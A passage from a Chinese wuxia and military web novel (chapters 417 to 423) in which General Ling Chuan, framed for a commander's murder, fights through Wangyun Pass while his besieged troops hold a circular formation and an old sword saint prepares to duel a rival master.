苏璃强压下心中惊惶,她明白杨铁匠所言在理,此刻她能做的,就是保护好自己,不让凌川分心。 然而,这一次四面八方杀来的并非是之前那种马贼,而是全员身着铠甲,手持制式刀枪,行动整齐划一的军队。 与此同时,城墙之上也出现大量士兵,一个个手持弓箭,将他们瞄准。 洛青云见状,迅速召集士兵,列成圆阵。 因盾牌有限,阵型被迫收缩,手持破甲弓的亲兵与紧握长枪的骑兵交错而立,洛青云、苍蝇、沈珏与孟钊等将领各镇一方,面色凝重。 翠花谨守职责,寸步不离马车。聂星寒则屹立于另一辆马车轿顶,目光如鹰,环视八方。 “正东、西南、西北三面出现敌军,每队五百至八百人,主要配备长枪战刀!”聂星寒精准报出敌情。 沉重的马蹄声如催命鼓点越来越近,七百将士面容冷峻,杀意凛然。 一向善于主动出击的他们,此番却只能被动固守,亲兵们已将破甲弓拉至满月,蓄势待发。 然而出乎意料,三股敌军在数百步外竟同时减速停下,随即迅速展开,形成严密包围圈,却并不急于进攻。 洛青云等人面面相觑,心中疑窦丛生。 苍蝇目光阴沉,低声道:“围而不攻……看来,主要杀招都在将军那边了!” …… 望云关内,凌川三人的处境已是岌岌可危。 放眼望去,皆是刀锋与敌视,说是举目皆敌也毫不为过。 三道身影在这片密集的营房间疾速穿行,身影在土墙与军帐的阴影间一闪而过。 为求尽快脱身,他们极力避免缠斗,能避则避,实在避无可避,才骤然出手,力求一击毙敌,绝不恋战。 很快,三人凭借灵活身法穿过军营核心区域,却被一堵近两人高的土石围墙挡住了去路。 更麻烦的是,围墙两侧还矗立着两座木质箭楼,他们刚一冒头,密集的箭雨便挟着刺耳的破空声迎面泼来。 箭矢钉入地面、墙壁的咄咄声响成一片,逼得他们不得不退回掩体之后,连番激战与奔逃,一禅和尚的真气消耗巨大,此刻也不敢频繁施展金钟罩,以免力竭。 后方,追兵的呐喊与脚步声已如潮水般逼近,他们已被逼至绝境,唯一的生路,就是突破这堵围墙。 “我来!” 沈七岁眸光一冷,声落剑起。 六柄飞剑应声飞起,化作六道流光,并非散乱攻击,而是精准地集中于围墙一处,飞剑之上剑气激荡,凌厉无匹。 “轰……” 只听一声闷响,碎石飞溅,尘土弥漫,厚实的围墙硬生生被破开一个足够通行的缺口。 “走!” 凌川一声低喝,三人毫不犹豫,身形如电,顶着并未停歇的箭雨冲向那处缺口,生死关头,速度提升到了极致。 就在凌川即将踏入缺口的刹那,一支角度刁钻的羽箭近乎无声地袭至面门,凌川凭借在无数次生死搏杀中锤炼出的敏锐感知,于千钧一发之际猛地偏头,冰冷的箭镞几乎是擦着他的耳廓掠过,带起一道火辣辣的血痕,几滴血珠瞬间飞洒在空中。 三人险之又险的冲出缺口,身后追兵的怒吼依旧震天:“杀了他们!为萧将军报仇!” 围墙之外是一片略显稀疏的林地,三人速度丝毫不减,如狸猫般在树木与灌木的阴影中快速穿梭,几个起落便利用地形摆脱了追兵的视线。 第一卷 第418章 杀出绝境 尽管暂时甩开了追兵,三人却不敢有丝毫停留,气息微喘,继续向着林地深处掠去。 凌川心头沉重,他已猜到这既是一个针对他的死局,那么城外的队伍定然也陷入了危险之中,他必须尽快赶回去。 不多时,三人穿过这片林地边缘,前方视野豁然开朗,远处已能望见成片的屋舍轮廓。 凌川依稀记得,望云关内不远便有一座名为望云县的县城,他们原本的计划正是今夜在那里落脚。 “不能去县城!”凌川强行压下内心的焦灼,迫使自己保持冷静,“我们必须绕道返回关外与队伍汇合!” 然而,就在他话音刚落的瞬间,四周异变陡生! “窸窸窣窣——” 四面八方传来细微而密集的声响,仿佛毒蛇游过草丛。 只见道道黑影如同鬼魅般从树后、土坡、巨石后闪现,眨眼间竟有十多名身着紧身黑衣、面蒙黑巾的杀手将他们合围。 这些人动作整齐划一,手中长刀在昏暗的光线下泛着幽冷的光泽,无声无息地收缩着包围圈,杀气凛然。 凌川瞳孔一缩,没有丝毫犹豫,更无半句废话,足下发力,身形前冲,手中战刀已然带着一往无前的气势悍然劈出。 沈七岁几乎与他同步动作,但他此次并未施展耗神颇巨的飞剑之术,而是双手各持一柄长剑,剑影交错,杀向左侧的黑衣人。 小和尚一双肉拳之上金色佛光再次流转,他并未远离凌川,而是默契地护住其另一侧,确保无论凌川遭遇何种险境,他都能及时援手。 凌川的刀法凶悍而凌厉,力求一击必杀。 只见刀光一闪,第一名黑衣人手中的长刀竟被硬生生崩断,巨大的力量让他手臂发麻,中门大开。 凌川刀势不收,顺势一抹,冰冷的刀锋已精准地划过对方咽喉,带出一抹血雨。 脚步不停,身形半转,战刀如毒龙出洞,直刺而出。 第二名黑衣人试图格挡,却觉一股沛然莫御的力量传来,刀尖瞬间突破防御,穿透胸膛,将其钉死在地。 就在凌川旧力刚去、新力未生之际,四五名黑衣人瞅准时机,同时从不同角度悍然扑上,刀光织成一片死亡之网! “喝!” 一禅和尚一声清叱,一双金灿灿的拳头猛然轰出。 两名首当其冲的黑衣人如被巨锤轰中,胸骨塌陷,口喷鲜血倒飞出去,撞在树上不再动弹。 与此同时,另一人刀锋已至他面门,小和尚不闪不避,右拳直迎而上。 “铛!”一声金石交鸣般的巨响,那精钢长刀竟被他一拳崩断。 碎刃飞溅中,小和尚左掌顺势拍出,印在其胸口,那人如断线风筝般倒飞数丈,落地后便再无声息。 另一侧,沈七岁双剑舞动,宛如两道银龙翻飞。 他的剑法兼具蜀山的轻灵与实战的狠辣,点、刺、劈、撩、抹、带、崩、绞…… 诸般基础剑式信手拈来,组合之下却威力惊人,剑光过处,黑衣人非死即伤,竟无一人能近他三步之内。 刀与剑,看似不同,实则兵器之理多有相通,正如枪与槊,本源相近。 只是刀更重势沉力猛,剑则偏轻灵变幻,沈七岁显然深谙此道,双剑运用之妙,存乎一心。 然而,黑衣人仿佛杀之不尽,刚刚解决一波,周围树林阴影中再次涌现出更多黑影,如黑色的潮水般涌来,眼看就要将三人彻底淹没。 就在此刻,四道身着长衫的男子忽然出现在场中,对着那些黑衣杀手悍然出手。 剑光如匹练横扫,刀芒似弯月乍现,无数奇形暗器寒光闪烁,两杆短枪宛若毒蛇出洞! 利刃切割身体的沉闷声响与短促的惨叫声几乎同时响起,顷刻之间,便有十余名黑衣人捂着喉咙、心口等要害,一声不吭地倒下,攻势为之一滞。 凌川抬眼望去,只见这四人已然护在他们前方。 一人持剑,身形挺拔;一人握刀,气势沉雄;一人双手指缝间寒光闪烁,夹满了各式暗器;还有一人分持两杆精钢短枪,目光如电。 四人服饰各异,但神色皆是一片冰冷漠然,周身散发出的气息却异常雄浑强悍,显然皆是高手。 “快走,我们来断后!”那持刀男子头也不回,声音低沉沙哑,却带着不容置疑的力量。 凌川虽心中惊疑,不知这四人来历,但形势危急,容不得他多想。 “走!”他当机立断,低喝一声,与小和尚、沈七岁毫不犹豫地朝着这四人身后出现的空隙疾奔而去。 那四人则迅速移动,默契地站成一排,刀、剑、暗器、短枪齐齐指向追兵,宛如一道不可逾越的铁墙,为凌川三人挡住了所有敌人。 凌川三人不敢耽搁,将身法施展到极致,沿着林间小道快速前行,直到将喊杀声甩在身后一段距离,沈七岁才按捺不住心中好奇,压低声音问道:“将军,他们是你安排的接应?” 凌川眉头紧锁,面色凝重地缓缓摇头:“不是,我也从未见过他们!” 沈七岁闻言,脸色微变,沉吟道:“我观这四人气息冰冷,出手狠辣果决,所用兵刃路数也迥异,不似同出一门。反倒……跟那些黑衣杀手气质相近,都带着一股子血腥味!” “杀手?”凌川眉毛猛然一挑,他方才也察觉到那四人身上若有若无的戾气与冷漠,只是情势危急未曾细想,此刻被沈七岁点破,心中也有所怀疑。 不远处,一座低矮山脊的阴影处,同样有四道身影如鬼魅般静立,目光如鹰隼般紧锁着正在崎岖山道间艰难穿行的凌川三人。 “想不到,风雪楼的人也来蹚这浑水……”一名身着华贵绸缎、发髻间斜插一支展翅凤头金钗的女子轻启朱唇,声音带着几分慵懒的媚意,唇角勾起的弧度却冰冷如刀。 “这对我们而言,可是千载难逢的良机。”接话的是一名容貌俊美近乎妖异的年轻男子。 他手持一支翠绿竹箫,指节修长,姿态飘逸出尘,仿佛随时可乘风而去,“我不明白,你们还在等什么?” 第一卷 第419章 腹背受敌 官道上,一支兵甲鲜明、气势肃杀的军队正在火速向雍州望云关推进。 他们自昨日从神都出发,一路疾行,马蹄踏碎晨雾,铠甲映着初升的寒光,仿佛一道铁流撕裂沉寂的旷野。 军士虽疲,却无人掉队,只有压抑的喘息与铠甲的碰撞声在风中交织。 队伍中,一名约莫十六七岁的少年格外醒目。 他虽身着与旁人无异的制式铠甲,但那张尚存稚气的脸上却写满疲惫,与周围那一张张坚毅脸庞形成了鲜明对比。 汗水沿着他紧绷的下颌线滑落,浸湿了铠甲的内衬,呼吸粗重而紊乱,显然已至体力极限,可他仍紧抿着唇,目光死死盯着前方,每一步都踏得沉重而执拗,仿佛在用最后的意志对抗躯体的抗议。 领军之人年约四十,身形十分魁梧,端坐于战马之上,自有一股不怒自威的气势。 得胜钩上挂着一口陌刀,纵使刀锋已被皮套严密包裹,依旧透出隐隐冰冷杀气,令人不敢靠近。此刻,他沉稳的面容下却掠过一丝不易察觉的忧色。 只见他抬手向后一招,一名亲兵立即催马近前。 “统领!” “你带几人,轻装快马,先行赶赴望云关传我军令,无论什么情况,都等我抵达之后再行定夺!”他声音低沉,却带着不容置疑的威势。 “是!”亲兵抱拳领命,即刻点选数骑,脱离大队,如离弦之箭般绝尘而去。 统领微微侧首,目光越过层层队列,落在那名咬牙硬撑的少年身上,眼底闪过一丝复杂的讶异与不易察觉的赞许。 望云关西侧,山脊林密处。 凌川、沈七岁与小和尚三人凭借敏捷的身形在乱石与古木间潜行,衣袂拂过带露的灌木,发出细微的沙沙声。 他们已接连避开数波搜山的追兵与隐匿的杀手,终于抵达可俯瞰关城的高处。 不远处,一座孤零零的箭楼矗立于隘口,三名弓箭手在其上警戒,凌川心系关外队伍的安危,决意冒险一探。 “我来!” 沈七岁低语一声,未待凌川回应,身形已如闪电般掠出。在搭建箭楼的木头上几次借力,便已来到数丈高的平台之上。 那三名守军尚未反应过来,便被沈七岁以精准迅捷的手法解决。 凌川见状,立刻借地势掩护迅速攀上箭楼,当他放眼向下望去时,心中不由一沉,局势果然朝着他最担心的方向发展。 关城之下,黑压压的雍州军甲士如铁桶般将一支七百余人的队伍层层围困,刀枪映着冷光,弩箭上弦,杀气森然。而被围在中央的,正是洛青云所率领的部众。 然而,当凌川看清洛青云部结成的防御阵型时,紧绷的心弦略松了半分。 只见七百余人结成一个紧密的圆阵,外围长枪如林,锐利的枪尖一致对外,内里弓弩手蓄势待发,阵型严谨,壁垒森严。 这正是凌川平日严格操练的几种战阵之一,虽牺牲了机动,却将防御力提升到极致,在缺乏重型破阵器械的情况下,即便敌军两倍于己,也难以短时间内啃下这块硬骨头。 可凌川的目光随即越过下方的对峙,投向了更高处的城墙,这一看,顿时让他遍体生寒。 城墙垛口之后,除了密密麻麻的弓箭手,赫然陈列着数十架形制庞大的床弩,粗如儿臂的弩箭在晨曦中泛着幽冷的金属光泽,其威慑力远非寻常弓矢可比。 下方的洛青云部因视角所限,根本无法察觉这悬于头顶的致命威胁,他们被牢牢困在原地,进退维谷,完全暴露在床弩的射程之内。 凌川毫不怀疑,只需一轮齐射,那看似坚固的圆阵便会被撕裂,两三轮之后,恐怕…… 这个局布太过狠绝,几乎算死了每一步,比起幽州雾松林那场截杀,更为周密毒辣,不留半分生机。 一股冰冷的绝望感攫住了凌川的心脏,饶是他历经生死、智计百出,此刻脑海中亦是一片纷乱,竟寻不到一丝破局之机。 就在这时,城下雍州军阵中,一名顶盔贯甲的将领策马而出,手中长矛遥指被围的队伍,声如雷霆: “尔等身为边军,竟敢屠戮我雍州百姓,速速放弃抵抗,束手就擒,尚可留待军法审判!若再负隅顽抗,今日便叫尔等尽数伏诛于此!” 他的话音未落,一个更加响亮、充满鄙夷的声音便从圆阵中炸响: “我放你娘的大馒头!老子们是北系军!在关外跟胡羯狼崽子真刀真枪拼命的时候,你们还不知道在哪儿和稀泥呢!就你们这群只会背后捅刀子的蛆虫,也配在爷爷面前吆五喝六?老子一脚能踩死一窝!”苍蝇站在阵前,尽管形势危殆,他却梗着脖子,骂得唾沫横飞,在气势上丝毫不落下风。 那将领脸色一沉,厉声喝道:“哼!尔等不过是一群从死字营里放出来的罪奴!朝廷开恩赦了你们的奴籍,尔等不思悔改,竟敢刺杀萧将军,更残杀数百手无寸铁的百姓,真是罪该万死,死有余辜!” 刺杀萧将军? 残杀百姓? 此言一出,不仅苍蝇和洛青云脸色骤变,连一直静坐于马车中的苏璃,闻声也不由得为之一惊,素手紧紧攥住了衣角。 他们太了解凌川,深知他绝非鲁莽冲动之人,绝不可能贸然杀人。再联想到之前那些悍不畏死,却被定性为百姓的‘马贼’…… 霎时间,一个巨大的阴谋轮廓已然清晰无比,这是要将他们彻底钉死在叛逆的耻辱柱上,斩尽杀绝。 “本将给你们一炷香的时间,若还不降,立斩不赦!”那雍州将领将长矛重重一顿,杀气四溢。 箭楼之上,沈七岁收回望向下方的目光,看向身旁面色凝重的凌川,声音低沉:“将军,怎么办?” 凌川闭目深吸一口气,复又睁开,眼中已是一片决然:“先下去再说!” 三人迅速潜回箭楼之下,寻了一处茂密灌木丛暂避。 凌川转向沈七岁与小和尚,语气诚挚而沉重:“多谢二位一路舍命相助,但眼下之局,已是十死无生之绝地,你们并非军中之人,不必卷入这必死的浑水!” 第一卷 第420章 自投罗网 不等二人开口,凌川再次说道:“趁现在退路还未完全被切断,你们即刻寻机离开望云关,离开雍州,返回师门。以蜀山剑宗与空观寺在江湖中的超然地位,想必对方也绝不敢轻易迁怒!” “将军……”沈七岁眉头紧锁,欲要反驳。 凌川抬手止住他的话头,神色平静地说道:“我乃陛下亲封的镇北将军,他们……明面上不敢杀我!” 这话说出,连他自己都觉得苍白。 “不可!”沈七岁断然道,“此局分明就是要将你置于死地!雍州军或许有所顾忌,但你别忘了,军中定然混有血衣堂的死士!那些人形同疯狗,只知完成任务,根本不在乎生死,更不在乎将军你的身份!” 凌川何尝不知沈七岁所言才是现实。 对方连萧卫蘅这等精心培养起来的军中将领都能牺牲用作构陷的棋子,更何况是那些普通杀手,为了除掉他定然是不惜一切代价。 就在这绝望的阴霾几乎要将众人吞噬之际,忽然,一道微光如电光石火般掠过凌川的脑海,他猛地抬手按住剧烈跳动的太阳穴,急忙说道: “等等!” 沈七岁正要开口追问,却被一旁的小和尚轻轻拉住衣袖。 小和尚澄澈的目光中带着超越年龄的了然,对着沈七岁微微摇头,示意他静待下文。 就在这短暂的寂静中,凌川眼底那抹混乱与焦灼骤然沉淀,一道锐利如鹰隼般的精芒骤然闪过。 他猛地抬头,声音压得极低,却带着一种穿透迷雾的力量:“之前在萧卫蘅的院子里,你们可曾真正看清他的面容?” 二人先是一怔,虽不明所以,但仍依言仔细回想,随后肯定地点了点头。 沈七岁忍不住追问:“将军,这其中有何猫腻?” 凌川并未立刻解释,他的脸色异常凝重,目光在两位年轻人脸上逡巡,仿佛在权衡一个极其艰难的抉择。 “我有一个猜测,但……毫无凭据。而且,要想验证这个猜测,需要再闯一次龙潭虎穴,风险极大!” “将军!您只管吩咐!刀山火海,沈七岁绝不皱一下眉头!”沈七岁未等他说完,便急切地打断,眼中燃烧着毫无保留的信任与决绝。 不善言辞的一禅小和尚也双手合十,清秀的脸上满是坚定,用力点了点头:“小僧亦然!” 看着两人毫不犹豫的神情,凌川心中一定,不再犹豫,对沈七岁沉声道:“我需要你立刻潜回那座院子,找到萧卫蘅的尸身,仔细查验他身上是否有箭伤,尤其是胸前要害之处!” 沈七岁闻言,心头一凛。 他们刚刚才从那绝杀之局中侥幸脱身,此刻再返回,无异于自投罗网,凶险程度何止倍增。 但他更明白,凌川如此郑重其事,此中必然牵扯着破局的关键,他没有丝毫迟疑,抱拳应道:“好!我即刻动身!” “记住!”凌川一把抓住他的手臂,力道沉重,“此行凶险异常,对方很可能已经转移或处理了尸体,你切不可强求,一切以自身安全为要!若事不可为,立刻撤离!” 沈七岁感受到凌川话语中的关切与沉重,咧嘴露出一抹带着少年傲气的笑容:“将军放心,这望云关大营虽戒备森严,若我一心要走,还困不住我!” 凌川点了点头,随即又转向一禅小和尚,语速加快:“小师傅,劳你立刻去寻之前助我们摆脱杀手的那四位高手,请他们帮忙办一件事……” …… 交代完毕,凌川后退一步,对着沈七岁和小和尚,郑重地抱拳:“二位,此局能否盘活,七百兄弟的性命能否保全,乃至真相能否大白……就全仰仗你们了!” “将军保重!”二人齐齐还礼,目光交汇间,已是一切尽在不言中。 随即,两人身形一晃,如轻烟般融入山林阴影之中,瞬息不见踪影。 目送二人离去,凌川深吸一口气,压下心中翻涌的情绪,毅然转身,朝着那杀机四伏的城楼方向,迈出了坚定而孤独的步伐。 不多时,一道如同惊雷炸响的声音,骤然划破望云关上空的死寂,清晰地传入了每一个人的耳中: “凌川在此!” 刹那间,城墙之上所有士兵的目光,齐刷刷地被吸引过去。 只见不远处一段残破的围墙之上,凌川持刀傲立,身形挺拔如松,虽孤身一人,面对千军万马,眼神中却只有一片燃烧的决然,毫无畏惧。 此时的凌川,浑身染血,立于城墙之上,自带一股压迫感。 声浪同样传至关下,正严阵以待的聂星寒、洛青云等人浑身一震,难以置信地抬头望去。 “相公!是相公!”马车内,苏璃闻声声音颤抖,一直强忍的泪水终于夺眶而出。 她再也顾不得自身安危,毫不犹豫地解除了车厢内隐藏的机关,不顾自身安危钻出马车。 “夫人,危险!”身形魁梧的翠花见状,一个箭步上前,如同铁塔般挡在苏璃身前,满面焦急。 城墙之上,守军在短暂的惊愕之后,顿时一片哗然。 谁也想不到,这个已经杀出重围的凶手,竟会在此刻自投罗网。 校尉宋集猛然转身,死死盯住围墙上的凌川,眼中闪过一丝难以置信,随即化为狂喜与狠厉,他拔刀指向凌川,厉声大喝:“给我拿下,生死不论!” 然而,凌川面对如林刀枪,非但没有后退,反而将手中战刀往地上一顿,声音穿透喧嚣,清晰地传入每一个人耳中:“我如果现在转身就逃,你们根本抓不到我……” 凌川顿了顿,继续说道:“宋集,我知道你们的目标是我,我也可以如你所愿束手就擒,但你必须立刻撤开包围,放我手下安全离开望云关!” “将军!不可!快走……!”下方的苍蝇目眦欲裂,嘶声大吼,恨不得生一双翅膀,飞上城关。 “凌川!”宋集怒极反笑,声音中充满了嘲讽与杀意,“你杀害萧将军,罪证确凿!如今已是砧板鱼肉,有何资格在此谈条件!” 第一卷 第421章 蛊惑人心 凌川神色不变,目光平静地扫过城墙上一双双眼睛,朗声道:“本将没有杀萧卫蘅!强闯望云关,只为请他开城放行!我进入院子时,他已是一具尸体!而且,我知道,真正的凶手此刻仍在关内,正是此人处心积虑,布下此局,欲置我于死地!” “铁证如山,你还敢在此妖言惑众,妄图颠倒黑白!你以为会有人信你这套鬼话吗?”宋集声色俱厉,但细心者却能发现,他眼底深处有一丝难以掩饰的慌乱一闪而逝。 他这番话,本是呵斥凌川,却让周围许多原本只是听命行事的士兵露出了疑惑之色,不少人下意识地将目光投向了情绪异常激动的宋集。 凌川将这一切尽收眼底,继续不卑不亢地说道:“你信与不信,无关紧要!想必诸位也已知晓,廷尉府的阎都统一路与我同行。我已派人前去向他禀明情况!相信用不了多久,阎大人便会亲临此地!届时,一切真相,自有公断!” 此言一出,宋集脸色微变,他猛然意识到,一直跟在凌川身边的那两名少年高手,此刻竟不见踪影。 他立刻对身旁一名心腹亲兵低语几句,那亲兵领命,匆匆带人离去,显然是去追堵沈七岁与一禅了。 凌川故意这么说,便是想用自身吸引绝大部分注意力,为沈七岁的行动分担压力。 “凌川!我劝你不要再白费心机了!”宋集强压下心中的不安,挥刀厉喝,“你谋杀萧将军乃是重罪,无人能为你开脱!就算此刻将你就地格杀,也无人能追究!” 凌川闻言,嘴角反而勾起一抹淡淡的、带着讥诮的笑意:“既然如此,宋校尉为何还站在远处,鼓动他人,自己却不亲自上来,砍下我这颗十恶不赦的人头,为你家萧将军报仇,也好立下这不世之功呢?” 他顿了顿,声音陡然提高,带着一股不容置疑的威严,“说穿了,你不过是在畏惧!畏惧我镇北将军的身份,怕杀了我要受牵连,故此才在这里蛊惑人心,想要借刀杀人!” 他目光如电,扫视全场,声音铿锵如金石交击,清晰地传入每一个士兵耳中:“我凌川,纵是触犯国法,也当押送回神都,三堂会审!尔等今日若擅自动手,便是僭越国法,戕害钦命大将!事后追查起来,尔等谁能担待?谁能逃脱干系?” 这番话,如同重锤,狠狠敲打在那些普通士兵的心头。 他们或许不明真相,但对皇权与军法的敬畏却是根深蒂固,凌川精准地利用了自己的身份,暂时镇住了场面。 然而,凌川心知肚明,这番话只能震慑那些不明就里的普通军士,却吓不住混迹军中、早已将生死置之度外的血衣堂死士。 果然,宋集见军心似有动摇,把心一横,猛地将战刀高举过头,面向周围士兵,声嘶力竭地大吼道:“兄弟们!萧将军乃我望云关主将!如今却被这卑鄙小人偷袭杀害!此乃我望云关的奇耻大辱!” 他的声音充满了悲愤与煽动性,巧妙地将萧卫蘅之死与整个雍州边军的荣誉捆绑在一起:“如今,杀人元凶就在眼前,我们若连为萧将军报仇的勇气都没有,此生都将被人看不起,永远也无法在军中抬起头来!” “血债血偿!” “为萧将军报仇!” 混在士兵中的血衣堂死士适时地发出呐喊,迅速点燃了不明真相士兵们心中的怒火与同仇敌忾之情。现场的气氛瞬间被引爆,群情激愤,无数道充满仇恨的目光死死锁定了孤身站在围墙上的凌川。 宋集见时机已到,猛地将战刀指向凌川,脸上带着一种近乎癫狂的、殉道者般的悲壮,嘶声咆哮:“我宋集!今日就算拼却这项上人头不要,也要用这满腔热血,洗刷我雍州军的耻辱!不怕死的,跟我上!杀了此獠,为萧将军报仇!” “杀!” “报仇!雪耻!” 在宋集这番声情并茂、极具蛊惑性的煽动下,大批被情绪左右的士兵,如同决堤的洪水般,跟随着状若疯狂的宋集,朝着那道孤傲的身影,汹涌扑去! 城下,苍蝇与洛青云等人早已目眦欲裂,心急如焚。 一个个紧握着兵器的手指关节因过度用力而发白,目光死死盯着城墙上方,却只能眼睁睁看着凌川孤身陷入重围,无能为力。 那种近在咫尺却无法施以援手的煎熬,比刀剑加身更令人痛苦。 聂星寒面色铁青,手中那张沉重的铁胎弓已被拉成满月,锐利的箭镞在阳光下闪烁着冰冷的寒芒。 然而,他所在的方位角度受限,只能瞄见城垛边缘晃动的士兵身影,根本捕捉不到凌川与宋集等人的具体位置。 他几次试图调整角度,最终只能不甘地咬着牙,弓弦微微震颤,却迟迟不肯松手。 大牛急得满头大汗,豆大的汗珠顺着黝黑的脸颊滚落,他一把抓住身旁孟钊的臂甲,声音因急切而沙哑:“孟校尉!咱们不能就这么干看着啊!得想个法子冲进去,救将军出来!” 孟钊的神色同样凝重如水,他何尝不想立刻杀上城头?但他更清楚肩上的责任。 他反手按住大牛因激动而颤抖的手,声音低沉却异常坚定:“大牛!我比你更想冲上去,但你看清楚,这是望云关!铜墙铁壁,雄踞天险!再看看周围,上千把弓弩正对着我们!此刻若贸然冲击,非但救不了将军,反而会让他分心,更会赔上这七百多兄弟的性命!你现在也是校尉,不再是只管冲杀的莽夫!” 大牛喉咙哽咽,虎目含泪:“俺知道……道理俺都懂!可俺……俺不能眼睁睁看着将军一个人奋战啊!” 这个铁塔般的汉子,此刻声音里带着哭腔,充满了无力与悲愤。 至此危局,寻常武力已难扭转乾坤,所有人的目光,不约而同地投向了那位一直倚靠着马车、看似昏昏欲睡的干瘦老人。 可之前得知,暗中有一股强大气机,正死死锁定着他,以至于他不敢贸然出手。 第一卷 第422章 老剑神,你可别玩砸了! 距望云关二十里外的官道上,那支队伍仍在疾驰,马蹄踏起烟尘。 忽然,前方影影绰绰现出一排人影,个个身披铁甲,背对着他们,静坐于马背之上,如雕塑般凝固。 领军的统领目光一凝,他认出这正是此前派往望云关传令的十人小队,身后亲兵见状欲上前察看,却被他抬手阻住。 他自得胜钩上取下陌刀,策马缓缓趋前,方才风过的一瞬,他已敏锐地捕捉到一丝血腥,他缓缓举起陌刀,用刀尖轻触一名士兵的背甲,然而,刚才触碰到,那人便应声落马。 统领心头一震,低首望去,只见那名士兵喉间刀痕赫然,鲜血未凝,显然气绝未久。 众人察觉有异,纷纷上前,这才发现那十名传令兵尽数被杀,尸身皆由木棍支撑,保持着端坐马背的姿势。 “统领!” 几名亲兵目眦欲裂,拳骨捏得发白,眼中杀意如沸。 那统领翻身下马,逐一检视伤口,四人中暗器而亡,两人喉间刃痕凌厉,又有二人眉心被锐器洞穿,最后两人则是被长枪贯穿咽喉与胸膛。 “皆是一击毙命,兄弟们连拔刀的机会都没有,显然,对方是高手!”一名亲兵校尉望着同袍惨状,声音沉郁。 “这是向禁军宣战!”统领眼中寒芒迸射,字字如铁:“此仇不报,我蓝少堂誓不为人!” 杀人留尸,陈列于官道,这不仅是挑衅,更是战书。 “庞奔!”蓝少堂冷声喝道。 “属下在!”校尉抱拳应声。 “你带几人留下,将弟兄们的尸身送回神都,妥善安置!” “是!” 蓝少堂翻身上马,朝队伍高声道:“全军疾行,天黑之前,必须抵达望云关!” 尽管人马俱疲,但情势紧迫,所有人强振精神。传令小队被截杀,说明望云关的情况比想象中更加危急。 队伍再次纵马驰骋,烟尘漫卷之中,一股无形的杀气,正悄然凝聚。 夕阳西斜。 望云关外,杨铁匠举起那只油光发亮的酒葫芦,仰头将其中残存的狼血一饮而尽,随即,他缓缓从马车上站了起来。 就在他缓缓站起身的刹那,一股难以言喻的凌厉气息,如同沉睡的火山骤然喷发,自他那干瘦的躯体内席卷而出。 空气中仿佛响起了无数宝剑出鞘的嗡鸣,他那原本佝偻的脊背瞬间挺得笔直,身形在众人眼中竟显得无比高大巍峨,宛如一座骤然拔地而起的孤峰,散发着令人窒息的无形压迫感。 沈珏双目圆睁,瞳孔因极致的震惊而收缩,他死死盯着杨铁匠的背影,嘴唇微微颤抖。 他用只有自己能听到的声音激动地呢喃:“曾经横压半座江湖的剑神,又回来了!” 与此同时,正在关内密林间极速潜行的沈七岁也猛然刹住身形。 他背后那沉重的剑匣竟不受控制地剧烈震颤起来,匣内六柄名剑同时发出高亢而急切的嗡鸣,仿佛受到了召唤,欲要破匣而出。 “杨老剑神!您老人家可别搞我啊!”沈七岁连忙运转气机,安抚这几乎要自行出匣的名剑,脸上却混杂着无奈与难以抑制的兴奋。 他不敢再多停留,身形在丛林中闪掠,朝着远处那座军营而去。 如果说,之前在岊湬阁中秒杀幽灵殿蛇王的那一剑,只是这位老剑神漫不经心的一次挥手。 那么此刻,这位曾让整座江湖为之战栗的名字,终于携着睥睨天下的锋芒,真正重临人间! 只见杨铁匠旁若无人地伸了个懒腰,全身骨骼发出一连串细密的爆响。随后,他那双看似浑浊的老眼缓缓抬起,目光如两柄无形利剑,穿透虚空,精准地落在了巍峨城楼。 随即,他伸手一抓,数丈之外,一把插在地上的无主战刀微微颤抖,仿佛是受到某种无形力量的牵引,自动拔地而起,飞到杨铁匠手中。 “锵!” 杨铁匠打量着这把材质平平,满是缺口,甚至还带着锈迹的战刀,微微点头道:“勉强够用了!” 一刀在手,杨铁匠周身那股本就磅礴如山岳的气势,骤然变得无比锐利。 众人仿佛看到一股无形的风暴正在以他为中心酝酿、扩散,空气中弥漫开令人皮肤刺痛的锋锐之意。 他抬头望天,朗声开口:“梁桂章,这么些年,你还是改不了藏头露尾的坏毛病,来吧,让老夫看看跨入宗师境的你,有几斤几两!” 声音不大,却如剑名一般传遍整个望云关,这并非夸张,而是真正传遍了整座望云关。 话音刚落,城楼顶端,一道身影仿佛凭空出现,又似一直就在那里。 来人年约五旬,身着玄色长衫,衣袂之上以银线绣着数只展翅仙鹤。 山风拂过,长衫飘动,那几只仙鹤竟恍若活了过来,即将翱翔于青天之上。 他面容古朴,眼神深邃如星空,负手立于最高处的屋脊瓦片之上,身形稳如磐石。 “杨剑神,真是风采不减当年呐,梁某于此,恭候多时了!”那人开口,声音平和,却如黄钟大吕,轰然传开,与杨铁匠的声音分庭抗礼,响彻四野。 杨铁匠嗤笑一声,满脸的不耐烦:“要打便打,哪来那么多虚头巴脑的废话!” 用他的话说,既然敌人,唯一的礼节就是往死里整! 下一刻,在无数道惊骇的目光注视下,杨铁匠脚尖在车辕上轻轻一点。 没有惊天动地的声势,他的身形却如一只轻鸿般,猛然冲天而起! “嘶……” 城上城下,瞬间响起一片倒吸凉气的声音,这老剑神,莫非是想直接飞上高达十余丈的望云关城墙? 此前沈七岁与小和尚那犹如灵猿般攀上城墙的本事,在普通军士眼中已是惊为天人,但至少他们还需借力攀援。 可杨铁匠这轻轻一跃,竟直接拔升数丈之高,但……他竟是笔直向上?而且,这方向根本不对啊!此地距离城墙根尚有百丈之遥,他这般直上直下,如何能过得去? 所有人的心都提到了嗓子眼,目光紧紧追随着那道青色身影,心中无不默念:‘老剑神,您可千万……别玩砸了啊!’ 第一卷 第423章 白鹤梁,梁桂章! 就在众人以为他要力竭坠落的瞬间,杨铁匠的身形,竟稳稳地悬浮在了半空之中,此刻,他所在的高度,恰好与城楼顶端那道玄色身影齐平。 静! 死一般的寂静! 无数人瞪大了双眼,张大了嘴巴,脑海中一片空白,只剩下一个荒谬而震撼的念头在不断回荡: ‘这杨老头……莫非是传说中的仙人临凡?’ 很快,一些眼力出众者便发现了端倪。 杨铁匠的脚下,并非空无一物,而是有无数道细微如游鱼、凝练如实质的璀璨剑气在急速流转、翻滚、汇聚。 随着时间推移,杨铁匠脚底的剑气越来越多,也越来越璀璨,甚至,不少人还能听到清脆的剑鸣声。 “铮铮……” 杨铁匠持刀而立,青衫在猎猎风中飘舞。 他就这样违背了常理,宛如神话中的御风仙人,从容不迫地悬浮于苍穹之下。 这超越凡人理解的一幕,带着无与伦比的视觉与心灵冲击力,深深烙印在每一个目睹者的灵魂深处。 